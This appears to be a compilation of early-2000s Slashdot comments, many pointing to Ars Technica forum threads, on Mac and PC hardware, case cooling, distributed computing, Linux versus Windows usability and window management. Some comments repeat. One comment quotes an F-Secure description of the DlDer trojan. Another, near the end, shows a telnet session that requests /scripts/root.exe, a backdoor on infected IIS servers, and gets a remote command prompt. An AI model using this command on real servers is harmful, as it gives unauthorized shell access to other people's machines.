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• The main problem with the Mac right now is CPU bandwidth, not CPU speed, so hold off until Apple does something to alleviate it. It is widely expected that they will introduce new PowerMacs with the DDR northbridge used in the new Xserve shortly (MacWorld next week or Seybold). That is the bare minimum they can do (because the bus to the CPU is still 133mhz; still, it helps with DMA and it is possible they have hacked the bus to eek out a bit more performance; we really don't know). Wait for that.
• Get a dual.
• Don't necessarily get the latest and greatest CPU, as there has traditionally been a lot of errata to sort out in newer CPUs. You would probably be better off with a slower, older dual.
• If you don't want to wait, you would be better off finding an older dual 533 (if you can) or trying to get a good deal on the current duals (after MacWorld). The best value in the Macs available today would be a used dual 533 (if you can find someone that will part with theirs).

Some have speculated that this might be Apple competing w/ Microsoft as far as brand recognition (note these are pretty much the same people who said the same thing when Microsoft decided to call the latest Windows "XP" about a month before OS X 10.0.0 was released).

However, for my own useless speculation, I don't think this will be a direct competitor to the .Net idea, but being a fairly nice set of network services (homepage, file storage, email, iCards, etc) might make some think that it is close enough.

Just my humble opinion.

Brand name computer maker (Dell, IBM, Compaq, etc.) do that on many model of business class PC.

You may not know, but there is a whole culture that had developped around cooling and case modification. People do air duct all the time out of cardboard, soft metal, acrylic, etc. There are many other option : mounting a larger fan right on your HS with an adapter, throttling your fan down (7volting, rheostat, voltage regulator [my favorite], PWM), using a quieter fan (Panaflo L1A are popular), etc. Check out the Case and Cooling Fetish forum of Arstechnica. 7 volts is another site I like very much.

"Rambus is not the only memory company feeling the heat from the US government. The New York Times reports (free registration req'd and beware of the annoying Best Buy interstitial ad) Micron, Samsung and Infineon have been hit with a Department of Justice inquiry into anticompetitive practices."

Four years ago, I would have answered a resounding "Yes!". Today, I would answer an uninterested no.

Slashdot has becomed the shadow of it's former self; it is now a little more than a news outlet for me. It was'nt always the case. It had been a real community a few years ago. Notice my UID; I have been reading Slashdot for a long time ... back when CmdrTaco was actually taking part in the discussion.

If you want to see a real community in action, I suggest you check out Kuro5hin for the political/social stuff and ArsTechnica discussion forum for the technical stuff. These are real community in my mind; not glorified news outlet. They are not the only one; just two good examples.

And wouldn't you know it, one exists!

I caught this discussion at Ars Technica last month. It refers to a cool-sounding program called "Dead Man's Switch (DMS)", which caught the attention of the New York Times.

Just a few issues...

• Don't go on vacation for a longer period of time than you have the 'bot set for
  (see either link, "If you're reading this, I'm dead!" type goofs have happened!)

• What happens when you actually do pass on to the great unknown, don't manage to pay your bills, and your (ISP | power company | shell host) kills your service?

• Or, more simply, what if your next of kin just tag the 'ol power switch?

You can also check out a IEEE story they link to about vacuum tubes and their uses in modern audio.

The audio/visual forum on arstechnica is probably a better place to ask this.

In regards to Distributed Folding client, the client will never update itself or anything in that regard, without first asking you.

Well, the master program is, AFAIK, supposed to be able to handle many different clients, making it easy to start and stop them, etc.
The primary reason for creating it is that a lot of people are involved in a several projects and wants to be able to switch between them easily.

IIRC it isn't possible to comment on an article after a certain amount of time, so I can't promise I'll post here, I would instead recommend following the Ars Technica Distributed Computing Arcana, it will probably be announced there if he succeds.

I bet the energy consumption of this is much lower than a harddisk which means it will mean it will be less expensive

Besides that, yes, having computers turned on 24/7 (which my box is - I want it to be available *now* not 5 minutes after I need to lookup some info!) - just ask people with computerfarms. I'm personally involved in the Ars Technica Distributed Computing Community and there are a lot of people with pretty large home farms. There is a lot of things to consider if you want to build a farm - the critical part of it is how you get the best performance for the smallest amount of money. This includes the the energy bill - removing as much hardware as possible.

http://arstechnica.infopop.net/OpenTopic/page?a=tp c&s=50009562&f=8300945231&m=4890969924

Ars Technica take on the subject

From the first page referenced:

The machine has a Biostar M7VKQ motherboard with integrated sound, video and LAN, and a Duron 750 is the CPU

Date posted?

posted December 31, 1969 06:00 PM


Damn, there goes that 640k is enough thing if they had Durons back then...

From the first page referenced:

The machine has a Biostar M7VKQ motherboard with integrated sound, video and LAN, and a Duron 750 is the CPU

Date posted?

posted December 31, 1969 06:00 PM


Damn, there goes that 640k is enough thing if they had Durons back then...

here's arstechnica's forum about it:
http://arstechnica.infopop.net/OpenTopic/page?a=tp c&s=50009562&f=174096756&m=9220974704

this fan has already had some discussion on the various case/cooling forums:

amdmb

ars

This thread on the arstechnica forums goes into details about how IRQ sharing works under Win2K and XP. Look for a post by PeterB.

Somewhat more informative than the party line.

Several MS representatives have referred to the CLR as a VM

And several have said it isn't.

You're wrong on the other point too. The CLR specifically supports the type system described by the CTS. IL's instructions operate specifically on those types. You can, of course, implement any set of language semantics you like, but it won't necessarily be either efficient or worthwhile. Why else do you think Meyer has cut Multiple Inheritance and covariance entirely out of Eiffel# ? The same goes for C++: only "managed C++" (C# that looks like C++) actually compiles to the CLR as a target, and guess what ? Managed C++ does not support multiple inheritance.

This is incorrect -- I invite you to actually try it out.

You can write unmanaged, unsafe code that targets the CLR. Take a look at this, if you don't believe it. A whole load of IL -- unmanaged, unsafe -- that targets the CLR.

The CLR supports a lot more than just the CTS. There is no reason for Eiffel# to restrict itself to the constraints of the CTS.

It'll work, just make sure you put it in the oven afterwards...;-) http://arstechnica.infopop.net/OpenTopic/page?a=tp c&s=50009562&f=34709834&m=4620975863

If you look at the index page of the forum where these pics appear, there's some nice data on the slashdot effect in progress. Currently 58788 views for that thread - where most other threads don't get above the 2k views.

It'd be interesting to check back in a day or so, see how many hits we racked up in total...

So, yesterday we had "arse digiter", and today we have "arse techniquer". This is getting a bit wierd...

Thank you. I would like to thank the homies at ars technica, especially PeterB, who unknowingly gave me the link.

Original thread: http://arstechnica.infopop.net/OpenTopic/page?a=tp c&s=50009562&f=34709834&m=6470991463

Not really vlad BTW. I just wanted to take the opportunity to rag on him at this juncture.

Actually, he was running RC5. The problem the school had with this is that with RC5, there is a change (albeit a very limited one) that you could win money. He had not stated that he would give the money to the school...

Read about it here:
http://arstechnica.infopop.net/OpenTopic/page?a=tp c&s=50009562&f=122097561&m=1110950822
http://arstechnica.infopop.net/OpenTopic/page?a=tp c&s=50009562&f=122097561&m=7450963242&r=5150986242 #5150986242
http://forums.anandtech.com/messageview.cfm?catid= 39&threadid=518510&start=1
http://forums.anandtech.com/messageview.cfm?catid= 39&threadid=518184 This was widely discussed among many of the more well known distributed computing teams. Check it out.

Actually, he was running RC5. The problem the school had with this is that with RC5, there is a change (albeit a very limited one) that you could win money. He had not stated that he would give the money to the school...

Read about it here:
http://arstechnica.infopop.net/OpenTopic/page?a=tp c&s=50009562&f=122097561&m=1110950822
http://arstechnica.infopop.net/OpenTopic/page?a=tp c&s=50009562&f=122097561&m=7450963242&r=5150986242 #5150986242
http://forums.anandtech.com/messageview.cfm?catid= 39&threadid=518510&start=1
http://forums.anandtech.com/messageview.cfm?catid= 39&threadid=518184 This was widely discussed among many of the more well known distributed computing teams. Check it out.

1st a quote..

"F-Secure Virus Descriptions

NAME: DlDer
ALIAS: Trojan.Win32.DlDer, Troj_DlDer

This two-component trojan was discovered in the end of December 2001. The trojan being installed on a user's system constantly upgrades its main component that connects to 2001-007.com website and reports user's ID, web browser a user is using and all URLs that a web browser and all its child windows open. The trojan violates user's privacy and opens a security hole in a system by downloading and activating executable files.

The main component of the trojan is Explorer.exe file that is located in Windows folder in \Explorer\ subfolder (do not mix with the original Windows' Explorer.exe). This component is constantly upgraded by the second trojan component that has the name 'DlDer.exe' and is located in Windows folder.

The DlDer.exe file is most likely dropped to user's system by ActiveX applet or Javascript code that a user doesn't notice when he is browsing Internet. The exact way how this file is dropped is not yet known. The case is under investigation.

The DlDer.exe file when it is started downloads Explorer.exe file from a website and puts it to \Windows\Explorer\ folder. Then the trojan creates a startup key for Explorer.exe file. On next System restart the Explorer.exe file is activated and it creates a startup key for DlDer.exe file and starts to connect to 2001-007.com website and report user's ID, web browser and all URLs that a user visits to there.

We recommend to delete both trojan components from an infected system. If these components can't be deleted (locked files) they should be deleted from pure DOS (in case of Windows 9x system) or renamed with different extensions (EXA for example) with immediate system restart (in case of Windows NT/2000/XP system).

[F-Secure Anti-Virus Research Team, December 28th, 2001]"

Now some links

Astechnica Forum - "Is download.com infected with a virus???"

Arstechnica Forum - "explorer.exe and Explorer.exe"

Computing.Net Forum - "How to delete trojan in explorer.exe"

Gnutella Forum - "p2p Trojan info"

1st a quote..

"F-Secure Virus Descriptions

NAME: DlDer
ALIAS: Trojan.Win32.DlDer, Troj_DlDer

This two-component trojan was discovered in the end of December 2001. The trojan being installed on a user's system constantly upgrades its main component that connects to 2001-007.com website and reports user's ID, web browser a user is using and all URLs that a web browser and all its child windows open. The trojan violates user's privacy and opens a security hole in a system by downloading and activating executable files.

The main component of the trojan is Explorer.exe file that is located in Windows folder in \Explorer\ subfolder (do not mix with the original Windows' Explorer.exe). This component is constantly upgraded by the second trojan component that has the name 'DlDer.exe' and is located in Windows folder.

The DlDer.exe file is most likely dropped to user's system by ActiveX applet or Javascript code that a user doesn't notice when he is browsing Internet. The exact way how this file is dropped is not yet known. The case is under investigation.

The DlDer.exe file when it is started downloads Explorer.exe file from a website and puts it to \Windows\Explorer\ folder. Then the trojan creates a startup key for Explorer.exe file. On next System restart the Explorer.exe file is activated and it creates a startup key for DlDer.exe file and starts to connect to 2001-007.com website and report user's ID, web browser and all URLs that a user visits to there.

We recommend to delete both trojan components from an infected system. If these components can't be deleted (locked files) they should be deleted from pure DOS (in case of Windows 9x system) or renamed with different extensions (EXA for example) with immediate system restart (in case of Windows NT/2000/XP system).

[F-Secure Anti-Virus Research Team, December 28th, 2001]"

Now some links

Astechnica Forum - "Is download.com infected with a virus???"

Arstechnica Forum - "explorer.exe and Explorer.exe"

Computing.Net Forum - "How to delete trojan in explorer.exe"

Gnutella Forum - "p2p Trojan info"

Actually, I should have posted above this too...

Ars Technica Ars OpenForum 2.0a Case and Cooling Fetish

...gives you a chance to talk to real people about this topic, rather than reading reviews and articles.

Here's an ongoing discussion at Ars Technica about its validity...

Because many people are fed up with Microsoft's politics.

And because Linux's desktop usability is getting better faster than Microsoft is thinking of new ways to screw its customers (which is saying a lot).

"However, I use exclusivly Win32 on the desktop. I have a digital studio box that uses Me, and will soon be upgrading that to XP."

So you seem to like the fact that a company with a terrible security and honesty track record has control over every aspect of your data, and even says so in the EULA. Well, that's your choice. Microsoft reserves the right to deactivate (or rather "un-activate") your WXP any time they like, without having to state reasons.

They have no FUCKING business on my computer after I paid the license fee. If you don't care, well... it's your choice.

"For my needs Win32 works helluva well? on the desktop. (Not to mention that I like to play games)."

In the office?

"Show of hands, how many of you have parents and grandparents could go to work tomorrow and use *nix without a hitch instead of Win32?"

Loser argument. You've never seen a real computer novice attempt the first steps. I have, I have done some computer courses e.g. for teachers and parents, and believe me, the kind of problems they have have nothing to do with the operating system. Absolutely nothing. Your grandparents will more likely have problems with hand control (how fast is a double-click?) and precision (ever seen a novice try to work with this ergonomic desaster called 'mouse'?) than with "how do I set up USB?" (what's that?).

Having said that, I have parents that tried two years to work with Windows and after they had the second big system crash and had to reinstall everything, they (*NOT* I!) wanted Linux (because they'd seen it in my office). THEY installed it (SuSE 7.3) and for them, it works perfectly. Office productivity, scheduling, networking, E-Mail, internet apps and so on. They liked especially that they didn't need to re-install 10001 drivers and utilities after installing Linux (Windows needed additional USB drivers, printer drivers, TV card drivers, sound drivers, graphic drivers, Acrobat Reader, MP3 player, shall I go on?)

"I'd venture to guess that 99% of *windows* users never figure out *it's* features"

So? Is that a reason to take them out? This is one of the ideas that seem to come only from Microsoft users. "Almost nobody uses that feature anyway, so let's disable it!" If the feature doesn't disturb the non-knowing people (and doesn't hurt performance or stability or whatever), where's the problem?

WHY oh WHY does Windows think in order to be beginner-friendly, it has to be anti-expert?

"The file structure on win32 is a mystery to these workers."

That's the beauty of Unix systems. the ONLY place where you can 'lose' documents is your home directory. no more searching for office documents in windows system folder, the root directory, other 'drives' (what's that? Letters? why can't I put the new drive in a directory where the additional space is needed?) or wherever.

Oh yes: no more being afraid of accidentally deleting system files or clicking on the wrong icon, the premier fear of the computer novice. "You can't break anything, so keep trying.".

"It all boils down to this: If I gave my mother a Porche 911 Twin Turbo tomorrow, I know that she would drive it to work every day exactly the same as she drives her Subaru Outback station wagon. It's only certain people that will take advantage of the extra power. This analogy isn't less applicable to computers, it's MORE applicable."

And if the Porsche were free and the Outback would cost you big cash (and only allow to run on 'licensed' roads)? Would you still buy the Outback "because she'll never use the extra power"?

"The point? Win32 is easier than *nix."

This can not be generalized. I've seen Windows installations that were a HELL of a lot harder to use than some Linux desktops.

It all boils down to "can you ask your friend/neighbour/... to give you a hand if things break": If your neighbour uses Linux, use Linux.

It doesn't matter to the users you are talking about, whether Windows 2000 is missing a DLL and spitting error messages, or if Linux wants to be fscked: Those users will want external help. And if they find the right kind of help, they will stay happy - with Linux or with Windows.

I know there was one recently on ArsTechnica's forum about this. It links to a couple articles 1 2 discussing some of the ways people see this and why they see it as good or bad.

A excerpt from this post in the thread, regarding the advantages of overlapping windows vs. keeping every window maximized:

"I still don't understand why trying to mimic the way you operate with a real desk is a good thing. I hate real desktops. I wish they could operate like my Windows desktop. But they're different. Why try to make them the same? It doesn't make things easier/faster to use; indeed, it makes the problems I have with real desktops crop up with my computer desktop."

It's not a matter of mimicking real life, it's a matter of leveraging the innate human skills for dealing with objects in space. It's a skill developed through millions of years of evolution. In contrast, maintaining a mental model of unseen items is much more difficult. There's no way to avoid that entirely when using computers, but it should be minimized. The more complex the mental model, the harder something is to use. And of course, just because classic Mac OS is spatial doesn't mean it's limited in the same ways as a real desktop. There's no magical button on a real desktop that makes whole groups of papers disappear or shrink, there's not magical drag and drop of text between pieces of paper, etc. etc.

Read on...

A excerpt from this post in the thread, regarding the advantages of overlapping windows vs. keeping every window maximized:

"I still don't understand why trying to mimic the way you operate with a real desk is a good thing. I hate real desktops. I wish they could operate like my Windows desktop. But they're different. Why try to make them the same? It doesn't make things easier/faster to use; indeed, it makes the problems I have with real desktops crop up with my computer desktop."

It's not a matter of mimicking real life, it's a matter of leveraging the innate human skills for dealing with objects in space. It's a skill developed through millions of years of evolution. In contrast, maintaining a mental model of unseen items is much more difficult. There's no way to avoid that entirely when using computers, but it should be minimized. The more complex the mental model, the harder something is to use. And of course, just because classic Mac OS is spatial doesn't mean it's limited in the same ways as a real desktop. There's no magical button on a real desktop that makes whole groups of papers disappear or shrink, there's not magical drag and drop of text between pieces of paper, etc. etc.

Read on...

This gigantic thread examines the "overlapping windows vs. alt-tab-mania" battle in some detail.

What's interesting is that in Michael's previous story, the Leonids were "expected to peak around 15,000 per hour". Now the estimate is around 4,200.
Wonder what the estimate will be in two weeks...

Ok, it is not exactly the same, but I just finished mine too, with the same mobo, for an .mp3/file server. the link

Will have an article up soon too.

Bye.

Thanks.
Nice way to kill a story - provide the entire answer in one small, compact link. You've earned your Karma with barely a .sig.

Geez.

It's over folks - nothing left to see here, move along.

Oh well - at least I've got some ammo for this ArsTechnica Battlefront thread. ;-)

Soko

E.g. Hold down the option key and scrolling is twice as fast.

Hold down option key and click anywhere in the scroll bar and it takes you there.

Option backspace deletes whole words.

Command+Shift and click a link in IE and it opens the new window behind the current one.

What happened there, was too sad. Please don't fall in hate. If that happens, the terrosist have won.

Best Thread Ever is posted at Ars Technica.

For those of you wishing some sense of closure, perhaps the Ars Technica thread will assist. It contains dozens upon dozens of photographs of people around the world memorializing the tragedy.

It is touching. And in between the pictures, the words of support and gratefulness will move you.

If there is a single positive outcome to this terrible event, it is that over a billion people have realized the important truth: we are all one people, united in humanity because we are all human.

Together, we could create a utopia. Divided, we create terror, pain, and tragedy.

Let our next thoughts, next decisions, next actions lead us toward a better world.

Ars Technica OpenForum has, IMHO,the best tech forum around. In the Case and Cooling Fetichism forum, this question is being answered almost daily. In particuliar, this thread seem pretty good.

Ars Technica OpenForum has, IMHO,the best tech forum around. In the Case and Cooling Fetichism forum, this question is being answered almost daily. In particuliar, this thread seem pretty good.

Get out yer hankies!

It's a really moving set of pictures over on ars tehcnica. This is not a troll

Invalid form key iTXPURWLGP

Just discovered something interesting...
telnet 80

type GET /scripts/root.exe HTTP/1.0

and you have a command prompt..

Like this:
[root@server httpd]# telnet 24.xxx.xxx.xxx 80
Trying 24.xxx.xxx.xxx...
Connected to 24.xxx.xxx.xxx.
Escape character is '^]'.
GET /scripts/root.exe HTTP/1.0

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Sun, 05 Aug 2001 07:45:08 GMT
Content-Type: application/octet-stream
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

c:\inetpub\scripts>

[This message was edited by The_Hitman on August 05, 2001 at 03:56.]

Regarding the voice synch issue, see my comment in the Discussion Link attached to the front page post. Basically, it's going to be an issue for quite a while with CG, photorealistic movies. It goes much deeper than just a standard synching or tech problem.

The D.Net client is a really nice client - it just works. I have never had any problems with it.

People are different, and therefore some people think D.Net is cool and others think Seti is the much more interesting.

I'm part of the Arstechnica Distributed Computing (DC) team and we have a nice little "portal" (called the Food Court), for all our teams. For each team there is a nice little description about the project.

I would recommend a visit, if you would like to know a bit about the different DC projects that exists.

You are, of course, more than welcome to join one of our teams if you like ;)

The projects I personally find most interesting and would recommend if you find D.Net and Seti pointless, are the Folding@Home and Genome@Home projects. An explanation of Folding@Home can be found here. Genome@Home has a similar cause - it's the same people that's behind both projects.

We also have a pretty cool forum where your are welcome to ask questions.

Important note! Our Folding@Home team's website has just changed to a new host, therefore the link on the Food Court page (http://www.teameggroll.com) doesn't work right now! Instead, you should use http://www.teameggroll.org.

very true. my mistake. THIS thread, however, has a screenshot of a few rootless X windows (the GIMP) running alongside Aqua. 'tis cool!

Rootless X? Can it be?

If you're interested in these cases check out this thread at ars-technica. They seem to be everything you could want in a water cooling system. Allthough the Liquid Nitrogen debate still runs hot.

Reality "101" (whatever the hell that is)

Add a printer under Linux.
Add a printer under Windows 2000.

Install a game under Linux.
Install a game under Windows 2000.

Connect to your ISP under Linux.
Connect to your ISP under Windows 2000.

Download and print your digital camera pictures under Linux.
Download and print your digital camera pictures under Windows 2000.

Change your screen from 640x480 @ 256 colours to 1024x768 16.7 million colours under Linux.
Change your screen from 640x480 @ 256 colours to 1024x768 16.7 million colours under Windows 2000.

Note that these are typical things that tech support techs deal with all of the time, walking people through things, etc.

And yes, I am a long time member of the "I Hate Bill" Club. but we got to look at what this means when it comes to mass market items like games, etc.

Just how much expertise do we assume on the part of the typical user for each of the operating systems? And what about for those who are command line impaired?

For those of you who have NO idea why this is written this way, I provide you with the following link at Arstechnica